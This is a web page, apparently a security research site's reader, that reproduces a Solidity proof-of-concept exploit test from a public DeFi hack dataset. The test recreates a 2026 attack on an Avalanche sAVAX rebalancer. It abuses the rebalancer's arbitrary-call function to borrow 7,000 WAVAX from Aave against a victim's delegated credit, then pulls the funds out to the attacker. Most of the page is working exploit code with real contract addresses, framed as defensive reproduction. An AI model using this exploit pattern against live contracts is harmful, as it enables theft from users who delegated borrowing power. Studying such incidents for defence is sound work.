Public reproduction file
src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol
Public reproduction file for dataset entry AaveRebalancerCreditDelegation.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 6,999.91 WAVAX8// Attacker : 0xf59dc5521f191bcb53a9bcbd1654be81b72ee96f9// Attack Contract : 0xe44eea4c6c2085d590a4a6bea01cf83e87a37be510// Vulnerable Contract : 0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c911// Attack Tx : https://snowscan.xyz/tx/0xaaa1b2e561738399af890dde2b18252b698e9b0ae7c8430fdd855f426835001b13// @Info14// Vulnerable Contract Code : https://snowscan.xyz/address/0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c9#code15// Aave Pool Proxy : https://snowscan.xyz/address/0x794a61358d6845594f94dc1db02a252b5b4814ad#code16// Aave Pool Implementation : https://snowscan.xyz/address/0x6cddff90124ba51afac5715314db7c9546b32204#code18// @Analysis19// Twitter Guy : https://x.com/DefimonAlerts/status/204650479646380899120//21// The rebalancer executes caller-supplied target/data from its own address. The attacker used that surface to22// call Aave Pool.borrow(WAVAX, 7000e18, 2, 0, victim). Aave accepted the borrow because the victim had delegated23// WAVAX borrowing power to the rebalancer, minting variable WAVAX debt to the victim and sending WAVAX to the24// rebalancer. A second arbitrary call transferred the acquired WAVAX out.26address constant ATTACKER = 0xf59dc5521f191Bcb53a9bcBD1654Be81B72EE96F;27address constant ATTACK_CONTRACT = 0xe44EEa4C6C2085D590A4a6BeA01CF83E87A37bE5;28address constant VULNERABLE_REBALANCER = 0x7A7bAB45363Efb0394Ff27bfA29bb7C0534cA8C9;29address constant VICTIM = 0x6fDAE9edACc6461b21f71a1a6a420197D2b0C3aa;30address constant AAVE_POOL = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;31address constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;32address constant SAVAX = 0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE;33address constant USDC_TOKEN = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;34address constant VARIABLE_DEBT_WAVAX = 0x4a1c3aD6Ed28a636ee1751C69071f6be75DEb8B8;36interface IVariableDebtToken {37 function approveDelegation(address delegatee, uint256 amount) external;38 function borrowAllowance(address fromUser, address toUser) external view returns (uint256);39 function balanceOf(address user) external view returns (uint256);40}42contract ContractTest is BaseTestWithBalanceLog {43 IAaveFlashloan private constant pool = IAaveFlashloan(AAVE_POOL);44 IERC20 private constant wavax = IERC20(WAVAX);45 IERC20 private constant savax = IERC20(SAVAX);46 IERC20 private constant usdc = IERC20(USDC_TOKEN);47 IVariableDebtToken private constant variableDebtWavax = IVariableDebtToken(VARIABLE_DEBT_WAVAX);49 function setUp() public {50 uint256 forkBlock = 83_324_252;51 vm.createSelectFork("avalanche", forkBlock);53 vm.label(ATTACKER, "Attacker / Profit Receiver");54 vm.label(ATTACK_CONTRACT, "Attack Contract");55 vm.label(VULNERABLE_REBALANCER, "Vulnerable sAVAX Rebalancer");56 vm.label(VICTIM, "Victim");57 vm.label(AAVE_POOL, "Aave V3 Pool");58 vm.label(WAVAX, "WAVAX");59 vm.label(SAVAX, "sAVAX");60 vm.label(USDC_TOKEN, "USDC");61 vm.label(VARIABLE_DEBT_WAVAX, "variableDebtAvaWAVAX");62 }64 function testExploit() public {65 uint256 victimDebtBefore = variableDebtWavax.balanceOf(VICTIM);66 uint256 attackerWavaxBefore = wavax.balanceOf(ATTACKER);67 uint256 delegatedBorrowAllowance = variableDebtWavax.borrowAllowance(VICTIM, VULNERABLE_REBALANCER);68 assertEq(delegatedBorrowAllowance, type(uint256).max);70 uint256 setupBorrowAmount = 0.01 ether;71 uint256 savaxDepositPerRebalance = 0.001 ether;72 uint256 maliciousBorrowAmount = 7_000 ether;74 // step 1: create the tiny local Aave position needed for the rebalancer's normal borrow path.75 deal(USDC_TOKEN, address(this), 1e6);76 deal(SAVAX, address(this), 2 * savaxDepositPerRebalance);77 usdc.approve(AAVE_POOL, type(uint256).max);78 wavax.approve(AAVE_POOL, type(uint256).max);79 pool.supply(USDC_TOKEN, 1e6, address(this), 0);80 variableDebtWavax.approveDelegation(VULNERABLE_REBALANCER, type(uint256).max);82 // step 2: execute the victim-funded Aave borrow from the historical rebalancer address.83 savax.transfer(VULNERABLE_REBALANCER, savaxDepositPerRebalance);84 bytes memory borrowFromVictim = abi.encodeWithSelector(85 pool.borrow.selector,86 WAVAX,87 maliciousBorrowAmount,88 2,89 0,90 VICTIM91 );92 _callRebalancer(setupBorrowAmount, AAVE_POOL, borrowFromVictim);94 // step 3: make the same arbitrary-call surface transfer the acquired WAVAX out to this PoC.95 savax.transfer(VULNERABLE_REBALANCER, savaxDepositPerRebalance);96 uint256 amountAvailableAfterSecondSetupBorrow = wavax.balanceOf(VULNERABLE_REBALANCER) + setupBorrowAmount;97 bytes memory pullWavax = abi.encodeWithSelector(wavax.transfer.selector, address(this), amountAvailableAfterSecondSetupBorrow);98 _callRebalancer(setupBorrowAmount, WAVAX, pullWavax);100 // step 4: repay only the PoC's own small setup debt, leaving the victim-funded debt increase as impact.101 uint256 localSetupDebt = variableDebtWavax.balanceOf(address(this));102 pool.repay(WAVAX, localSetupDebt, 2, address(this));104 uint256 profit = wavax.balanceOf(address(this));105 wavax.transfer(ATTACKER, profit);107 uint256 victimDebtIncrease = variableDebtWavax.balanceOf(VICTIM) - victimDebtBefore;108 uint256 attackerProfit = wavax.balanceOf(ATTACKER) - attackerWavaxBefore;109 emit log_named_decimal_uint("Victim variable WAVAX debt increase", victimDebtIncrease, 18);110 emit log_named_decimal_uint("Final WAVAX profit", attackerProfit, 18);111 assertGt(victimDebtIncrease, maliciousBorrowAmount);112 assertGt(attackerProfit, 6_999 ether);113 }115 function _callRebalancer(uint256 amount, address target, bytes memory data) private {116 // Selector 0xb2a13230 decodes in the attack tx as (uint256 amount, address target, bytes data, bool flag).117 (bool ok, bytes memory returnData) =118 VULNERABLE_REBALANCER.call(abi.encodeWithSelector(bytes4(0xb2a13230), amount, target, data, true));119 if (!ok) {120 assembly {121 revert(add(returnData, 0x20), mload(returnData))122 }123 }124 }125}Analysis
Dataset entry
Public Foundry test for “AaveRebalancerCreditDelegation” (2026-04-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf59dc5521f191bcb53a9bcbd1654be81b72ee96f
- Attack Contract
0xe44eea4c6c2085d590a4a6bea01cf83e87a37be5
- Vulnerable Contract
0x7a7bab45363efb0394ff27bfa29bb7c0534ca8c9
- Attack Tx
0xaaa1b2e561738399af890dde2b18252b698e9b0ae7c8430fdd855f426835001b
File record
- Name
- AaveRebalancerCreditDelegation
- Path
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 63dce5d91dada8a184bb73f896a0a2eac75f0730
- Language
- Solidity
- Size
- 126 lines
- Date
- 2026-04-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/AaveRebalancerCreditDelegation_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 63dce5d91dada8a184bb73f896a0a2eac75f0730, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.